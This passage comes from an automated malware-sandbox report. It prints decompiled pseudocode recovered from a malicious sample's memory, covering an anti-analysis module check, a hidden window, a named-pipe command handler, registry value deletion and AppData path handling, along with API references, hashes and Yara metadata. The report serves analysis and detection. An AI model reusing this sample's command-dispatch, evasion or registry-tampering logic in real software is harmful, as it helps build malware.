					_t51 =  *((intOrPtr*)(_t50 + 0x1c))( &_v80, 0, 0, 0);
					if(_t51 == 0) {
						goto L6;
					}
					if(_t51 == 0xffffffff) {
						goto L6;
					}
					_t53 =  *0x9e694; // 0xa5fa48
					 *((intOrPtr*)(_t53 + 0x20))( &_v80);
					_t56 =  *0x9e694; // 0xa5fa48
					 *((intOrPtr*)(_t56 + 0x24))( &_v80);
				}
				goto L6;
			}

0x00082ed6
0x00082ee5
0x00082eec
0x00082ef1
0x00082f0b
0x00082f13
0x00082f20
0x00082f27
0x00082f2d
0x00082f34
0x00082f35
0x00082f3a
0x00082f43
0x00082fc0
0x00082fc0
0x00082fc7
0x00082fca
0x00082fcf
0x00082fcf
0x00082fd2
0x00082fda
0x00082fdf
0x00082fe7
0x00082fe7
0x00082f6a
0x00082f6d
0x00082f74
0x00000000
0x00000000
0x00082f7d
0x00082f80
0x00082f8b
0x00082fad
0x00082fb4
0x00082fb9
0x00082fbe
0x00000000
0x00000000
0x00082f93
0x00000000
0x00000000
0x00082f99
0x00082f9e
0x00082fa5
0x00082faa
0x00082faa
0x00000000

APIs

memset.MSVCRT ref: 00082EEC
CreateWindowExA.USER32(00000000,?,?,00CF0000,80000000,80000000,000001F4,00000064,00000000,00000000,00000000,00000000), ref: 00082F6A
ShowWindow.USER32(00000000,00000000), ref: 00082F7D

Strings

0, xrefs: 00082F20

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Window$CreateShowmemset
String ID: 0
API String ID: 3027179219-4108050209
Opcode ID: ad0f521a6fb95b3de76b4301295a1ece28257d3dbbd0c388a8c89c2f074871da
Instruction ID: 682aeab1d2205275c3f3a53d0ee7a0acd4cfd6054749a73bf77ccc7f03983638
Opcode Fuzzy Hash: ad0f521a6fb95b3de76b4301295a1ece28257d3dbbd0c388a8c89c2f074871da
Instruction Fuzzy Hash: C431C7B2500158AFF750DBA8DD85FAA7BFCFB28344F004066B549D71A2D634DD45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00084D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00084D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				void* _t120;
				signed int _t122;
				intOrPtr _t123;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				WCHAR* _t185;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x9e688; // 0xb0000
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t120 = E0008B7EA(0x9b9c4,  &_v516); // executed
					_t14 = _t120 + 1; // 0x1
					E0008A8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E0008A4B3( &_v556, _t298);
					 *0x9e748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						_t123 = E0008E1FE(0x9b9c8, _t299); // executed
						 *0x9e680 = _t123;
						 *_t337 = 0x610;
						_t124 = E000895C2(0x9b9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x9e688; // 0xb0000
						_t127 = E000892C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E000885B6( &_v612);
						_t130 = E0008B2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E000885FB( &_v616, 0xfffffffe);
						_t133 =  *0x9e688; // 0xb0000
						_t22 = _t133 + 0x114; // 0xb0114
						E000849FE( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x110)))), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x9e688; // 0xb0000
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_v576 =  *((intOrPtr*)(_t262 + 0x214));
							_t137 =  *0x9e680; // 0xa5fdb0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564); // executed
							}
							_v620 = _v620 & 0x00000000;
							E0008E308(_t353,  &_v576); // executed
							_pop(_t262);
							_t142 =  *0x9e6b4; // 0xa5fa98
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E0008E308(_t353,  &_v588);
								_t235 =  *0x9e6b4; // 0xa5fa98
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x9e73c;
							if( *0x9e73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x9e680; // 0xa5fdb0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x9e688; // 0xb0000
								_t262 =  *((intOrPtr*)(_t166 + 0x214));
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E00084998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x9e684; // 0xa5f8f0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x9e688; // 0xb0000
											_t184 = E0008FC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0); // executed
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t185 = E000885E5(0x1000); // executed
												_t333 = _t185;
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E0008109A(_t262, 0x148);
													_t305 =  *0x9e688; // 0xb0000
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E0008900E(_t271,  &_v572);
													_t272 =  *0x9e688; // 0xb0000
													_t188 = E000860C0( &_v572, _t272 + 0x228, 1,  *((intOrPtr*)(_t272 + 0xa0)));
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x9e688; // 0xb0000
														__eflags = _t200 + 0x1020;
														E00089621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E000885B6( &_v636);
														E0008A953(_t333, 0, 0xbb8, 1); // executed
														E000885FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E000885FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E00084998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x9e684; // 0xa5f8f0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E000885E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E000895C2(_t278, 0x32d);
										_t280 =  *0x9e688; // 0xb0000
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E00089621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E000885B6( &_v636);
										E0008A953(_t249, 0, 0xbb8, 1);
										E000885FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t238 =  *((intOrPtr*)(_t262 + 0x214));
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E000895C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x9e688; // 0xb0000
								_t329 = E000892C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E0008B2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x9e684; // 0xa5f8f0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E000885FB( &_v612, 0xfffffffe);
								}
								E000885B6( &_v616);
								_t150 =  *0x9e688; // 0xb0000
								lstrcpynW(_t150 + 0x438,  *0x9e740, 0x105);
								_t153 =  *0x9e688; // 0xb0000
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x9e738, 0x105);
								_t331 =  *0x9e688; // 0xb0000
								_t117 = _t331 + 0x228; // 0xb0228
								 *((intOrPtr*)(_t331 + 0x434)) = E00088F9F(_t117, __eflags);
								E000885FB(0x9e740, 0xfffffffe);
								E000885FB(0x9e738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E000895A8(0x6e2);
				_v616 = _t250;
				_t326 = E000895A8(0x9f5);
				_v612 = _t326;
				if(_t250 != 0 && _t326 != 0) {
					if(GetModuleHandleA(_t250) != 0 || GetModuleHandleA(_t326) != 0) {
						_v620 = 1;
					}
					E000885A3( &_v616);
					_t122 = E000885A3( &_v612);
					_t351 = _v620;
					if(_v620 != 0) {
						goto L8;
					}
				}
			}

0x00084d60
0x00084d66
0x00084d6c
0x00084d71
0x00084d7f
0x00084d82
0x00084de1
0x00084dea
0x00084df3
0x00084df6
0x00084dfd
0x00084e02
0x00084e07
0x00084e0e
0x00084e18
0x00084e1f
0x00084e25
0x00084e2a
0x00084e2f
0x00084e36
0x00084e3c
0x00084e3e
0x00084e3f
0x00084e43
0x00084e4e
0x00084e53
0x00084e5c
0x00084e61
0x00084e69
0x00084e70
0x00084e71
0x00084e73
0x00084e8f
0x00084e92
0x00084e92
0x00084e9b
0x00084ea0
0x00084eb0
0x00084eb8
0x00084ebd
0x00084ec3
0x00084ec6
0x00084ecc
0x00084eeb
0x00084ef1
0x00084ef2
0x00084ef3
0x00084ef4
0x00084ef5
0x00084ef6
0x00084f00
0x00084f04
0x00084f09
0x00084f0c
0x00084f0e
0x00084f20
0x00084f20
0x00084f22
0x00084f2e
0x00084f33
0x00084f39
0x00084f42
0x00084f45
0x00084f47
0x00084f52
0x00084f57
0x00084f5c
0x00084f61
0x00084f61
0x00084f64
0x00084f6b
0x00000000
0x00084f71
0x00084f71
0x00084f76
0x00084f7a
0x00084f7c
0x00084f7f
0x00084f81
0x00084f87
0x00084f87
0x00084f81
0x00084f89
0x00084f8e
0x00084f94
0x00084f96
0x00000000
0x00084f9c
0x00084f9c
0x00084fa0
0x00085075
0x0008507b
0x00085081
0x0008508c
0x0008508d
0x0008508e
0x0008508f
0x00085095
0x0008509a
0x000850a0
0x000850a8
0x000850ae
0x000850b1
0x000850c0
0x000850c7
0x000850ca
0x000850d7
0x000850db
0x000850e8
0x000850ed
0x000850f0
0x000850f2
0x000850fe
0x00085103
0x00085105
0x00085109
0x0008510a
0x0008510c
0x00085117
0x0008511c
0x00085129
0x0008512d
0x0008512e
0x00085130
0x00085138
0x00085139
0x0008513e
0x00085156
0x0008515b
0x0008515e
0x00085162
0x00085164
0x00085177
0x00085181
0x00085185
0x0008518d
0x0008518e
0x00085196
0x00085197
0x0008519c
0x000851a8
0x000851b2
0x000851c4
0x000851d0
0x000851d5
0x000851d5
0x000851df
0x000851e5
0x000851e5
0x0008510c
0x000850f2
0x00000000
0x0008507b
0x00084fa6
0x00084fa9
0x00000000
0x00000000
0x00084faf
0x00084fba
0x00084fbb
0x00084fbc
0x00084fbd
0x00084fc3
0x00084fc8
0x00084fdc
0x00084fe1
0x00084fe5
0x00084ff0
0x00084ff9
0x00084ffb
0x00084fff
0x00085000
0x00085002
0x0008500d
0x00085013
0x00085025
0x00085028
0x0008502b
0x00085038
0x00085040
0x0008504a
0x0008505c
0x00085068
0x0008506d
0x00000000
0x00085002
0x00084f96
0x00084ece
0x00084ece
0x00084ed4
0x00084ed6
0x00000000
0x00000000
0x00084ed8
0x00084edc
0x000851e6
0x000851eb
0x000851f1
0x000851f3
0x000851f4
0x000851f8
0x00085208
0x0008520d
0x00085211
0x00085213
0x00085217
0x0008521c
0x0008521e
0x00085220
0x00085226
0x00085226
0x00085233
0x00085239
0x0008523f
0x00085244
0x00085262
0x00085264
0x00085270
0x00085270
0x00085276
0x00085278
0x0008527e
0x00085290
0x00085296
0x000852a2
0x000852aa
0x000852aa
0x000852aa
0x000852ac
0x000852b2
0x000852b2
0x00084ee2
0x00084ee5
0x00000000
0x00000000
0x00000000
0x00084ee5
0x00084ecc
0x00084e10
0x00084e10
0x00000000
0x00084e10
0x00084d8e
0x00084d95
0x00084d9e
0x00084da0
0x00084da6
0x00084db7
0x00084dc0
0x00084dc0
0x00084dcc
0x00084dd5
0x00084dda
0x00084ddf
0x00000000
0x00000000
0x00084ddf

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00084DB3
GetModuleHandleA.KERNEL32(00000000), ref: 00084DBA
lstrcpynW.KERNEL32(000AFBC8,00000105), ref: 00085262
lstrcpynW.KERNEL32(000AFDD8,00000105), ref: 00085276

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleModulelstrcpyn
String ID:
API String ID: 3430401031-0
Opcode ID: 15d5f2fcdc883f94ae35a985409879b090d6b8f77efd3da78e7b31bf62223c8d
Instruction ID: 53f25a6344485329816dbddeea69770a7089f386737f55672c44d5423dc0334b
Opcode Fuzzy Hash: 15d5f2fcdc883f94ae35a985409879b090d6b8f77efd3da78e7b31bf62223c8d
Instruction Fuzzy Hash: B4E1CF31608301AFE750FF64DC46BAA77E9BB98314F44092EF584DB2D2DB74E9448B52

Uniqueness

Uniqueness Score: -1.00%

Function 00083294, Relevance: 6.2, APIs: 4, Instructions: 189
pipeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00083294() {
				char _v8;
				struct _OVERLAPPED* _v12;
				struct _OVERLAPPED* _v16;
				intOrPtr* _v20;
				char _v24;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr* _v40;
				char _v168;
				char _v172;
				intOrPtr _t41;
				void* _t47;
				char _t54;
				char _t61;
				intOrPtr _t64;
				void* _t65;
				void* _t68;
				void* _t70;
				void* _t72;
				void* _t76;
				struct _OVERLAPPED* _t82;
				intOrPtr* _t83;
				signed int _t84;
				signed short* _t86;
				intOrPtr* _t97;
				signed short* _t105;
				void* _t107;
				void* _t108;
				void* _t109;
				intOrPtr* _t112;
				struct _OVERLAPPED* _t113;
				char _t114;
				void* _t115;

				_t113 = 0;
				_t82 = 0;
				_v8 = 0;
				_v12 = 0;
				while(1) {
					_v16 = _t113;
					if(ConnectNamedPipe( *0x9e674, _t113) == 0 && GetLastError() != 0x217) {
						break;
					}
					_push(_t113);
					_push( &_v16);
					_t41 =  *0x9e684; // 0xa5f8f0
					_push(0x80000);
					_push( *0x9e724);
					_push( *0x9e674);
					if( *((intOrPtr*)(_t41 + 0x88))() == 0 || _v16 == 0) {
						GetLastError();
					} else {
						_t86 =  *0x9e724; // 0x2890020
						_t47 = ( *_t86 & 0x0000ffff) - 1;
						if(_t47 == 0) {
							_t112 = E0008939F( &(_t86[4]), 0x20, 1,  &_v24);
							_v40 = _t112;
							if(_t112 != 0) {
								_t114 = _v24;
								if(_t114 <= 1) {
									_t113 = 0;
									_t54 = E00081D89(E0008972A( *_t112), 0, 0, 0);
									_t115 = _t115 + 0x10;
									_v172 = _t54;
								} else {
									_v36 = _t114 - 1;
									_t83 = E000885E5(_t114 - 1 << 2);
									_v32 = _t83;
									if(_t83 == 0) {
										_t113 = 0;
									} else {
										if(_t114 > 1) {
											_v20 = _t83;
											_t84 = 1;
											do {
												_t64 = E00089187( *((intOrPtr*)(_t112 + _t84 * 4)), E0008C3BB( *((intOrPtr*)(_t112 + _t84 * 4))));
												_t97 = _v20;
												_t84 = _t84 + 1;
												 *_t97 = _t64;
												_v20 = _t97 + 4;
											} while (_t84 < _t114);
											_t83 = _v32;
										}
										_t113 = 0;
										_t61 = E00081D89(E0008972A( *_t112), _t83, _v36, 0);
										_t115 = _t115 + 0x10;
										_v172 = _t61;
										E00089498( &_v24);
									}
									_t82 = _v12;
								}
							}
							_t105 =  *0x9e724; // 0x2890020
							E000896AB( &_v168,  &(_t105[4]), 0x80);
							_push(0x84);
							_push( &_v172);
							_push(2);
							goto L33;
						} else {
							_t65 = _t47 - 3;
							if(_t65 == 0) {
								_push(_t113);
								_push(_t113);
								_t108 = 5;
								E0008C35B(_t108);
								 *0x9e758 = 1;
								_t82 = 1;
								_v12 = 1;
							} else {
								_t68 = _t65;
								if(_t68 == 0) {
									_t70 = E0008F7E1( &_v8);
									goto L13;
								} else {
									_t72 = _t68 - 1;
									if(_t72 == 0) {
										E0008F7E1( &_v8);
										goto L16;
									} else {
										_t76 = _t72 - 1;
										if(_t76 == 0) {
											_t70 = E0008F803( &_v8);
											L13:
											if(_t70 == 0) {
												_push(_t113);
												_push(_t113);
												_push(0xa);
											} else {
												_push(_v8);
												_push(_t70);
												_push(5);
											}
											_pop(_t109);
											E0008C35B(_t109);
										} else {
											if(_t76 == 1) {
												E0008F803( &_v8);
												L16:
												_push(4);
												_push( &_v8);
												_push(5);
												L33:
												_pop(_t107);
												E0008C35B(_t107);
												_t115 = _t115 + 0xc;
											}
										}
									}
								}
							}
						}
					}
					DisconnectNamedPipe( *0x9e674);
					if(_t82 == 0) {
						continue;
					}
					break;
				}
				return 0;
			}

0x0008329f
0x000832a1
0x000832a3
0x000832a7
0x000832aa
0x000832b6
0x000832c1
0x00000000
0x00000000
0x000832d4
0x000832d8
0x000832d9
0x000832de
0x000832e3
0x000832e9
0x000832f7
0x0008349b
0x00083307
0x00083307
0x00083310
0x00083313
0x000833bb
0x000833bd
0x000833c4
0x000833ca
0x000833d0
0x00083449
0x00083454
0x00083459
0x0008345c
0x000833d2
0x000833d5
0x000833e1
0x000833e3
0x000833e9
0x00083464
0x000833eb
0x000833f0
0x000833f2
0x000833f5
0x000833f7
0x00083405
0x0008340a
0x0008340d
0x0008340e
0x00083413
0x00083416
0x0008341a
0x0008341a
0x0008341f
0x0008342c
0x00083431
0x00083434
0x00083440
0x00083440
0x00083466
0x00083466
0x000833d0
0x00083469
0x0008347d
0x00083482
0x0008348d
0x0008348e
0x00000000
0x00083319
0x00083319
0x0008331c
0x0008338a
0x0008338b
0x0008338e
0x0008338f
0x00083396
0x000833a1
0x000833a3
0x0008331e
0x0008331f
0x00083322
0x00083372
0x00000000
0x00083324
0x00083324
0x00083327
0x0008335c
0x00000000
0x00083329
0x00083329
0x0008332c
0x00083346
0x0008334b
0x0008334e
0x00083379
0x0008337a
0x0008337b
0x00083350
0x00083350
0x00083353
0x00083354
0x00083354
0x0008337d
0x0008337e
0x0008332e
0x00083331
0x0008333b
0x00083361
0x00083361
0x00083366
0x00083367
0x00083490
0x00083490
0x00083491
0x00083496
0x00083496
0x00083331
0x0008332c
0x00083327
0x00083322
0x0008331c
0x00083313
0x000834a7
0x000834af
0x00000000
0x00000000
0x00000000
0x000834af
0x000834bb

APIs

ConnectNamedPipe.KERNELBASE(00000000), ref: 000832B9
GetLastError.KERNEL32 ref: 000832C3

Part of subcall function 0008C35B: FlushFileBuffers.KERNEL32(000001E0), ref: 0008C3A1

DisconnectNamedPipe.KERNEL32 ref: 000834A7

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: NamedPipe$BuffersConnectDisconnectErrorFileFlushLast
String ID:
API String ID: 2389948835-0
Opcode ID: d23ff982758464b5b77673bc2961c9e191c5b267ac72fb89a38d4328143258e3
Instruction ID: 78392571981023932e7177aa36336398959710ce57a23a4f1d66d6d22b7dfe37
Opcode Fuzzy Hash: d23ff982758464b5b77673bc2961c9e191c5b267ac72fb89a38d4328143258e3
Instruction Fuzzy Hash: 8F51F272A00215AFEB11FFB4CC89AEEBBB8FB85B10F104466F585A2151EB749F04CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00086195, Relevance: 6.1, APIs: 4, Instructions: 145
registryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00086195(void* __edx, void* __fp0, void* _a4, short* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				int _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				void* _v32;
				void* _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v56;
				void _v576;
				void* _t53;
				intOrPtr _t63;
				intOrPtr _t72;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				signed int _t85;
				intOrPtr _t87;
				int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t108;

				_t108 = __fp0;
				_t96 = __edx;
				_t89 = 0;
				_v8 = 0;
				memset( &_v576, 0, 0x208);
				_v28 = 0x104;
				_v20 = 0x3fff;
				_v16 = 0;
				_t53 = E000885E5(0x3fff); // executed
				_t98 = _t53;
				_t100 = _t99 + 0x10;
				_v32 = _t98;
				if(_t98 == 0) {
					L18:
					return 0;
				}
				_t97 = E000885E5(0x800);
				_v36 = _t97;
				if(_t97 == 0) {
					goto L18;
				}
				if(RegOpenKeyExW(_a4, _a8, 0, 0x2001f,  &_v8) != 0) {
					L15:
					if(_v8 != 0) {
						_t63 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t63 + 0x1c))(_v8);
					}
					E000885FB( &_v32, 0x3fff);
					E000885FB( &_v36, 0x800);
					goto L18;
				}
				_push( &_v56);
				_push( &_v40);
				_push( &_v44);
				_push( &_v48);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v28);
				_push( &_v576);
				_t72 =  *0x9e68c; // 0xa5fab8
				_push(_v8);
				if( *((intOrPtr*)(_t72 + 0xb0))() == 0) {
					__eflags = _v24;
					if(_v24 == 0) {
						goto L15;
					}
					_v12 = 0;
					do {
						memset(_t97, 0, 0x800);
						memset(_t98, 0, 0x3fff);
						_t100 = _t100 + 0x18;
						_v20 = 0x3fff;
						_v16 = 0x800;
						 *_t98 = 0;
						_t80 =  *0x9e68c; // 0xa5fab8
						_t81 =  *((intOrPtr*)(_t80 + 0xc8))(_v8, _t89, _t98,  &_v20, 0, 0, _t97,  &_v16);
						__eflags = _t81;
						if(_t81 == 0) {
							_t82 =  *0x9e690; // 0xa5fb90
							_t90 =  *((intOrPtr*)(_t82 + 4))(_t97, _a12);
							__eflags = _t90;
							if(_t90 != 0) {
								_t92 =  *0x9e68c; // 0xa5fab8
								 *((intOrPtr*)(_t92 + 0xa8))(_v8, _t98);
								__eflags = _a16;
								if(_a16 != 0) {
									_t85 = E0008C3D4(_t90);
									__eflags =  *((short*)(_t90 + _t85 * 2 - 2)) - 0x22;
									if(__eflags == 0) {
										__eflags = 0;
										 *((short*)(_t90 + _t85 * 2 - 2)) = 0;
									}
									E0008B1F3(_t90, _t96, __eflags, _t108);
								}
							}
							_t89 = _v12;
						}
						_t89 = _t89 + 1;
						_v12 = _t89;
						__eflags = _t89 - _v24;
					} while (_t89 < _v24);
					goto L15;
				}
				_t87 =  *0x9e68c; // 0xa5fab8
				 *((intOrPtr*)(_t87 + 0x1c))(_v8);
				goto L15;
			}

0x00086195
0x00086195
0x000861a1
0x000861b0
0x000861b3
0x000861bd
0x000861c5
0x000861c8
0x000861cb
0x000861d0
0x000861d2
0x000861d5
0x000861da
0x00086346
0x0008634a
0x0008634a
0x000861ea
0x000861ec
0x000861f2
0x00000000
0x00000000
0x00086215
0x00086314
0x00086318
0x0008631a
0x00086322
0x00086322
0x0008632e
0x0008633c
0x00000000
0x00086341
0x0008621e
0x00086222
0x00086226
0x0008622a
0x0008622e
0x0008622f
0x00086230
0x00086231
0x00086232
0x00086236
0x0008623d
0x0008623e
0x00086243
0x0008624e
0x00086263
0x00086265
0x00000000
0x00000000
0x0008626b
0x0008626e
0x00086276
0x00086283
0x00086288
0x0008628b
0x00086294
0x0008629b
0x000862ab
0x000862b5
0x000862bb
0x000862bd
0x000862c2
0x000862cb
0x000862cd
0x000862cf
0x000862d1
0x000862db
0x000862e1
0x000862e5
0x000862e9
0x000862ee
0x000862f4
0x000862f6
0x000862f8
0x000862f8
0x000862ff
0x000862ff
0x000862e5
0x00086304
0x00086304
0x00086307
0x00086308
0x0008630b
0x0008630b
0x00000000
0x0008626e
0x00086250
0x00086258
0x00000000

APIs

memset.MSVCRT ref: 000861B3

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

RegOpenKeyExW.KERNEL32(?,?,00000000,0002001F,?,?,?,00000001), ref: 0008620D
memset.MSVCRT ref: 00086276
memset.MSVCRT ref: 00086283

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memset$AllocateHeapOpen
String ID:
API String ID: 2508404634-0
Opcode ID: e63c5b06dcef8033069a4fc5290ac9d145e8491a38929ae003e2472ff451124e
Instruction ID: d3b935bb34dd5e753c17b1e2c940759a21ef8d04e8345fe9e9401ef9a991536e
Opcode Fuzzy Hash: e63c5b06dcef8033069a4fc5290ac9d145e8491a38929ae003e2472ff451124e
Instruction Fuzzy Hash: A051F7B1A00209AFEF51EF94CC85FEE7BBCBF04740F118069F645A7192DB759A048B61

Uniqueness

Uniqueness Score: -1.00%

Function 0008B054, Relevance: 6.1, APIs: 4, Instructions: 72
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0008B054(void* __ecx, WCHAR* __edx) {
				int _v8;
				void _v528;
				char _v1046;
				void _v1048;
				intOrPtr _t21;
				intOrPtr* _t26;
				void* _t27;
				intOrPtr _t33;
				intOrPtr _t36;
				void* _t39;
				intOrPtr _t40;
				WCHAR* _t47;
				void* _t49;

				_t39 = __ecx;
				_v8 = 0x104;
				_t47 = __edx;
				memset( &_v1048, 0, 0x208);
				memset( &_v528, 0, 0x208);
				_t21 =  *0x9e698; // 0xa5fbc8
				 *((intOrPtr*)(_t21 + 4))(0, 0x1a, 0, 1,  &_v1048);
				_t49 = E0008B988(_t39);
				_t26 =  *0x9e6b8; // 0xa5fbd8
				_t27 =  *_t26(_t49,  &_v528,  &_v8); // executed
				if(_t27 == 0) {
					_t33 =  *0x9e688; // 0xb0000
					if(E0008BBCF( *((intOrPtr*)( *((intOrPtr*)(_t33 + 0x110))))) != 0) {
						_t36 =  *0x9e698; // 0xa5fbc8
						 *((intOrPtr*)(_t36 + 4))(0, 0x24, 0, 1,  &_v528);
					}
				}
